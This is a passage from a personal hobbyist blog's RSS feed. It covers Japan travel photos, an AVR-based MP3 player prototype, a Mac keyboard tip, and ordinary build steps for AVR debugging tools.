		<description><![CDATA[Etoire in Snow, originally uploaded by Brokentoaster. Alright finally a snow day. Thought I&#8217;d test out the new wifi enabled Nikon coolpix p2 I bought for my mum with some photos of Miyoshi town.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/nicklott/90850002/" title="photo sharing"><img src="http://static.flickr.com/24/90850002_546baa084d_t.jpg" class="flickr-photo" alt="Etoire in Snow" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/nicklott/90850002/">Etoire in Snow</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>Alright finally a snow day. Thought I&#8217;d test out the new wifi enabled Nikon coolpix p2 I bought for my mum with some photos of Miyoshi town.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=18</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forward Delete Key on Macs</title>
		<link>http://www.brokentoaster.com/blog/?p=17</link>
		<comments>http://www.brokentoaster.com/blog/?p=17#comments</comments>
		<pubDate>Fri, 13 Jan 2006 06:11:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=17</guid>
		<description><![CDATA[I just found the following hint on macosxhints.com http://www.macosxhints.com/article.php?story=20050525040921189Blast that forward-delete key (just below the Help key on a standard Mac keyboard)! It just keeps inputting a &#8216;~&#8217; when pressed, instead of deleting the next character. Luckily, there is an easy solution. In clean OS X apps, including Terminal, Control-Option-D does what we want the [...]]]></description>
				<content:encoded><![CDATA[<p>I just found the following hint on macosxhints.com <br />http://www.macosxhints.com/article.php?story=20050525040921189<br />Blast that forward-delete key (just below the Help key on a standard Mac keyboard)! It just keeps inputting a &#8216;~&#8217; when pressed, instead of deleting the next character. Luckily, there is an easy solution. In clean OS X apps, including Terminal, Control-Option-D does what we want the forward-delete key to do. </p>
<p>So go to Terminal&#8217;s Terminal menu, pick Window Settings, and then choose &#8220;Keyboard&#8221; in the pop-up menu. Double-click on the &#8216;del (forward delete)&#8217; key, and in the sheet that pops open, activate the input box just below &#8220;Action.&#8221; Type Control-Option-D, and you should see &#8217;04&#8242; in the box. Click OK, close the Terminal Inpsector window, and you should now have a working forward-delete key. Yay!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=17</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lightbox.js</title>
		<link>http://www.brokentoaster.com/blog/?p=16</link>
		<comments>http://www.brokentoaster.com/blog/?p=16#comments</comments>
		<pubDate>Fri, 13 Jan 2006 05:07:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=16</guid>
		<description><![CDATA[just found this little script http://www.huddletogether.com/projects/lightbox/. Very nice. I have added it to the picture pages for the mp3 player at http://butterflymp3.sf.net/pic.html]]></description>
				<content:encoded><![CDATA[<p>just found this little script http://www.huddletogether.com/projects/lightbox/. <br />Very nice. I have added it to the picture pages for the mp3 player at http://butterflymp3.sf.net/pic.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=16</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dash blog test</title>
		<link>http://www.brokentoaster.com/blog/?p=15</link>
		<comments>http://www.brokentoaster.com/blog/?p=15#comments</comments>
		<pubDate>Wed, 11 Jan 2006 05:37:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=15</guid>
		<description><![CDATA[Just thought I&#8217;d test out this widget (dash blog) for blogging from the dashboard. seems okay but spell checking would be nice.]]></description>
				<content:encoded><![CDATA[<p>Just thought I&#8217;d test out this widget (dash blog) for blogging from the dashboard. seems okay but spell checking would be nice.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=15</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Winter is here!</title>
		<link>http://www.brokentoaster.com/blog/?p=14</link>
		<comments>http://www.brokentoaster.com/blog/?p=14#comments</comments>
		<pubDate>Fri, 30 Dec 2005 15:03:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=14</guid>
		<description><![CDATA[Nikko &#8211; 33, originally uploaded by Brokentoaster. Well winter is definitely here in Japan. I&#8217;ve just posted some of my photos from my visit Nikko. The forecast said a high of -4 but I measured at least +1. I guess you just can&#8217;t trust the weather. Anyway a regular winter wonderland complete with frozen waterfalls. [...]]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/nicklott/79231652/" title="photo sharing"><img src="http://static.flickr.com/38/79231652_90e4934684_t.jpg" class="flickr-photo" alt="Nikko - 33" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/nicklott/79231652/">Nikko &#8211; 33</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>Well winter is definitely here in Japan. I&#8217;ve just posted some of my photos from my visit Nikko. The forecast said a high of -4 but I measured at least +1. I guess you just can&#8217;t trust the weather. Anyway a regular winter wonderland complete with frozen waterfalls. Unfortuantly I didn&#8217;t see any monkeys <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  .<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=14</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biggest Buddha</title>
		<link>http://www.brokentoaster.com/blog/?p=13</link>
		<comments>http://www.brokentoaster.com/blog/?p=13#comments</comments>
		<pubDate>Wed, 02 Nov 2005 02:04:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=13</guid>
		<description><![CDATA[Biggest image of Buddha, originally uploaded by Brokentoaster. This statue of Buddha at the Todaiji Temple in Nara has to be the most amazing thing I&#8217;ve seen. It&#8217;s 30 meters high and was originally built over a 1000 years ago. The Temple itself is the largest wooden structure in the world, and its built and [...]]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame"> <a href="http://www.flickr.com/photos/71987843@N00/58354624/" title="photo sharing"><img src="http://static.flickr.com/30/58354624_e54136f462_t.jpg" class="flickr-photo" alt="Biggest image of Buddha" /></a><br /> <span class="flickr-caption">  <a href="http://www.flickr.com/photos/71987843@N00/58354624/">Biggest image of Buddha</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>. </span></div>
<p>This statue of Buddha at the Todaiji Temple in Nara has to be the most amazing thing I&#8217;ve seen. It&#8217;s 30 meters high and was originally built over a 1000 years ago. The Temple itself is the largest wooden structure in the world, and its built and designed earthquake safe! Cool.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=13</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>crazy akihabara</title>
		<link>http://www.brokentoaster.com/blog/?p=12</link>
		<comments>http://www.brokentoaster.com/blog/?p=12#comments</comments>
		<pubDate>Mon, 10 Oct 2005 03:26:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=12</guid>
		<description><![CDATA[crazy akihabara, originally uploaded by Brokentoaster. I have to say I&#8217;m going to love living only a short train ride away from Akihabara. Where they sell electronics and soldering irons on the street and giant robots roam the roads well almost. Still very cool.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/71987843@N00/51040072/" title="photo sharing"><img src="http://static.flickr.com/25/51040072_1cd3c8733c_t.jpg" class="flickr-photo" alt="crazy akihabara" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/71987843@N00/51040072/">crazy akihabara</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>.	</span></div>
<p>I have to say I&#8217;m going to love living only a short train ride away from Akihabara. Where they sell electronics and soldering irons on the street and giant robots roam the roads <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  well almost. Still very cool.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=12</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beer Vending Macine</title>
		<link>http://www.brokentoaster.com/blog/?p=11</link>
		<comments>http://www.brokentoaster.com/blog/?p=11#comments</comments>
		<pubDate>Sun, 02 Oct 2005 12:08:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=11</guid>
		<description><![CDATA[Beer Vending Macine, originally uploaded by Brokentoaster. Well enough said really&#8230;. I do like japan]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/71987843@N00/48575823/" title="photo sharing"><img src="http://static.flickr.com/26/48575823_097517d0ec_t.jpg" class="flickr-photo" alt="Beer Vending Macine" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/71987843@N00/48575823/">Beer Vending Macine</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>.	</span></div>
<p>Well enough said really&#8230;. I do like japan <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=11</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hard Drive Mp3 Player Prototype</title>
		<link>http://www.brokentoaster.com/blog/?p=10</link>
		<comments>http://www.brokentoaster.com/blog/?p=10#comments</comments>
		<pubDate>Tue, 23 Aug 2005 14:00:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=10</guid>
		<description><![CDATA[ATA_MP3_PLAYER, originally uploaded by Brokentoaster. Thought I&#8217;d make the most of the soldering tools I have while I&#8217;ve still got &#8216;em. Took me about 2-3 Hrs to assemble but I now have a HDD based Mp3 Player to debug. Looks like it might need a couple of minor mods to get going but shouldn&#8217;t take [...]]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame"> <a href="http://www.flickr.com/photos/71987843@N00/36507193/" title="photo sharing"><img src="http://photos23.flickr.com/36507193_ecb1442965_t.jpg" class="flickr-photo" alt="ATA_MP3_PLAYER" /></a><br /> <span class="flickr-caption">  <a href="http://www.flickr.com/photos/71987843@N00/36507193/">ATA_MP3_PLAYER</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>. </span></div>
<p>Thought I&#8217;d make the most of the soldering tools I have while I&#8217;ve still got &#8216;em. Took me about 2-3 Hrs to assemble but I now have a HDD based Mp3 Player to debug. Looks like it might need a couple of minor mods to get going but shouldn&#8217;t take too much more effort on the HW side.</p>
<p> Now to write that FAT32 ATA library I&#8217;ve been putting off for the last 6 months <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br clear="all" /></p>
<p>Click the photo for more images.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=10</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mk3 Prototype case completed!!!</title>
		<link>http://www.brokentoaster.com/blog/?p=9</link>
		<comments>http://www.brokentoaster.com/blog/?p=9#comments</comments>
		<pubDate>Fri, 12 Aug 2005 02:25:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=9</guid>
		<description><![CDATA[DSC01376.JPG, originally uploaded by Brokentoaster. Manu has come through with the goods yet again with this primo case for the Mk3 prototype. This one is smaller lighter and faster than the last. It&#8217;s all aluminium construction makes it substantially lighter than the solid steel case of the Mk2.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame"> <a href="http://www.flickr.com/photos/71987843@N00/33296292/" title="photo sharing"><img src="http://photos22.flickr.com/33296292_998b8af9a7_t.jpg" class="flickr-photo" alt="DSC01376.JPG" /></a><br /> <span class="flickr-caption">  <a href="http://www.flickr.com/photos/71987843@N00/33296292/">DSC01376.JPG</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>. </span></div>
<p>Manu has come through with the goods yet again with this primo case for the Mk3 prototype. This one is smaller lighter and faster than the last. It&#8217;s all aluminium construction makes it substantially lighter than the solid steel case of the Mk2.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=9</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Hard Drive Mp3 Player PCBs have Arrived</title>
		<link>http://www.brokentoaster.com/blog/?p=8</link>
		<comments>http://www.brokentoaster.com/blog/?p=8#comments</comments>
		<pubDate>Fri, 12 Aug 2005 02:07:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=8</guid>
		<description><![CDATA[butterflymp3-ata PCB top, originally uploaded by Brokentoaster. Alright! My new PCBs for the HD version of the butterflymp3 have arrived from www.custompcb.com / www.silvercircuits.com. They look pretty good. I had to go without a solder mask or silkscreen to cut costs. Had a small mixup where I used dichlormethane rather than isopropanol to clean the [...]]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame"> <a href="http://www.flickr.com/photos/71987843@N00/33289095/" title="photo sharing"><img src="http://photos22.flickr.com/33289095_a539a79de0_t.jpg" class="flickr-photo" alt="butterflymp3-ata PCB top" /></a><br /> <span class="flickr-caption">  <a href="http://www.flickr.com/photos/71987843@N00/33289095/">butterflymp3-ata PCB top</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>. </span></div>
<p>Alright! My new PCBs for the HD version of the butterflymp3 have arrived from www.custompcb.com / www.silvercircuits.com. They look pretty good. I had to go without a solder mask or silkscreen to cut costs. Had a small mixup where I used dichlormethane rather than isopropanol to clean the board and accidentally melted the paint off my desk and onto one side of the PCB. A whole lot more dichlormethane later and everything is good as new. <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=8</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=7</link>
		<comments>http://www.brokentoaster.com/blog/?p=7#comments</comments>
		<pubDate>Wed, 10 Aug 2005 12:22:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=7</guid>
		<description><![CDATA[Finally managed to get avarice installed on the new iBook. Just so I can remember for next time this is what I did. ( as root user) &#8211; Install libbfdcd binutils-2.16.1cd bfd/./configure &#8211;target=avr &#8211;disable-nls &#8211;enable-install-libbfdmakemake install - install Libibertycd binutils-2.16.1cd libiberty/./configure &#8211;target=avr &#8211;disable-nls &#8211;enable-install-libibertymakemake install - install avaricecd avarice-2.3LDFLAGS=&#8221;-L/usr/local/powerpc-apple-darwin8.2.0/avr/lib -lbfd&#8221; CPPFLAGS=&#8221;-I/usr/local/powerpc-apple-darwin8.2.0/avr/include&#8221; ./configure make make install [...]]]></description>
				<content:encoded><![CDATA[<p>Finally managed to get avarice installed on the new iBook. Just so I can remember for next time this is what I did. ( as root user)</p>
<p> &#8211; Install libbfd<br />cd binutils-2.16.1<br />cd bfd/<br />./configure &#8211;target=avr &#8211;disable-nls &#8211;enable-install-libbfd<br />make<br />make install</p>
<p>- install Libiberty<br />cd binutils-2.16.1<br />cd libiberty/<br />./configure &#8211;target=avr &#8211;disable-nls &#8211;enable-install-libiberty<br />make<br />make install</p>
<p>- install avarice<br />cd avarice-2.3<br />LDFLAGS=&#8221;-L/usr/local/powerpc-apple-darwin8.2.0/avr/lib -lbfd&#8221; CPPFLAGS=&#8221;-I/usr/local/powerpc-apple-darwin8.2.0/avr/include&#8221; ./configure<br /> make<br /> make install</p>
<p>( all other AVR tools handled by Fink)<br />(also applied butterfly corrections patch to avrdude 5)</p>
<p>Thanks Frodi Hammer http://www.mip.sdu.dk/~frodi/mac.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=7</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finished USB Fluro</title>
		<link>http://www.brokentoaster.com/blog/?p=6</link>
		<comments>http://www.brokentoaster.com/blog/?p=6#comments</comments>
		<pubDate>Mon, 08 Aug 2005 21:26:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=6</guid>
		<description><![CDATA[DSC01348, originally uploaded by Brokentoaster. Well this weekend I managed to tidy up the fluroecent lamp into a more respectable form.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/71987843@N00/32393925/" title="photo sharing"><img src="http://photos22.flickr.com/32393925_6099c7ad5e_t.jpg" class="flickr-photo" alt="DSC01348" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/71987843@N00/32393925/">DSC01348</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>.	</span></div>
<p>Well this weekend I managed to tidy up the fluroecent lamp into a more respectable form.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=6</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New prototype mp3 player?</title>
		<link>http://www.brokentoaster.com/blog/?p=5</link>
		<comments>http://www.brokentoaster.com/blog/?p=5#comments</comments>
		<pubDate>Wed, 03 Aug 2005 23:31:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=5</guid>
		<description><![CDATA[DSC01346, originally uploaded by Brokentoaster. Got Manu down in the machine shop to come up with a new case design for the mp3 player and this is the result. Think it might need a couple of refinements before we go to production with this one.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/71987843@N00/31033121/" title="photo sharing"><img src="http://photos22.flickr.com/31033121_0f349dc64c_t.jpg" class="flickr-photo" alt="DSC01346" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/71987843@N00/31033121/">DSC01346</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>.	</span></div>
<p>Got Manu down in the machine shop to come up with a new case design for the mp3 player and this is the result. Think it might need a couple of refinements before we go to production with this one.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=5</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>USB powered mini Fluro lamp</title>
		<link>http://www.brokentoaster.com/blog/?p=4</link>
		<comments>http://www.brokentoaster.com/blog/?p=4#comments</comments>
		<pubDate>Thu, 28 Jul 2005 11:00:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=4</guid>
		<description><![CDATA[DSC01319, originally uploaded by Brokentoaster. With a few bits of junk and some misc stuff I&#8217;ve created a new thing]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/71987843@N00/28897458/" title="photo sharing"><img src="http://photos23.flickr.com/28897458_1f1d30d918_t.jpg" class="flickr-photo" alt="DSC01319" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/71987843@N00/28897458/">DSC01319</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/71987843@N00/">Brokentoaster</a>.	</span></div>
<p>With a few bits of junk and some misc stuff I&#8217;ve created a new thing <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=4</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=3</link>
		<comments>http://www.brokentoaster.com/blog/?p=3#comments</comments>
		<pubDate>Thu, 28 Jul 2005 09:03:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=3</guid>
		<description><![CDATA[Well I thought I might set up a bit of a blog before I shoot off into the great unknown. This is the place where I boost my ego by thinking that others will be interested in the Stuff, Things and Junk I find during my upcoming holiday in Japan, the UK and beyond. I&#8217;ll [...]]]></description>
				<content:encoded><![CDATA[<p>Well I thought I might set up a bit of a blog before I shoot off into the great unknown. This is the place where I boost my ego by thinking that others will be interested in the Stuff, Things and Junk I find during my upcoming holiday in Japan, the UK and beyond. I&#8217;ll also be posting here about Stuff Things and Junk I&#8217;m building like <a href="http://butterflymp3.sf.net/">mp3 Players</a> and other projects. I&#8217;ll also be using this as a launch pad for test driving my new breed of cutting edge grammer and mis use of the english language.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=3</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
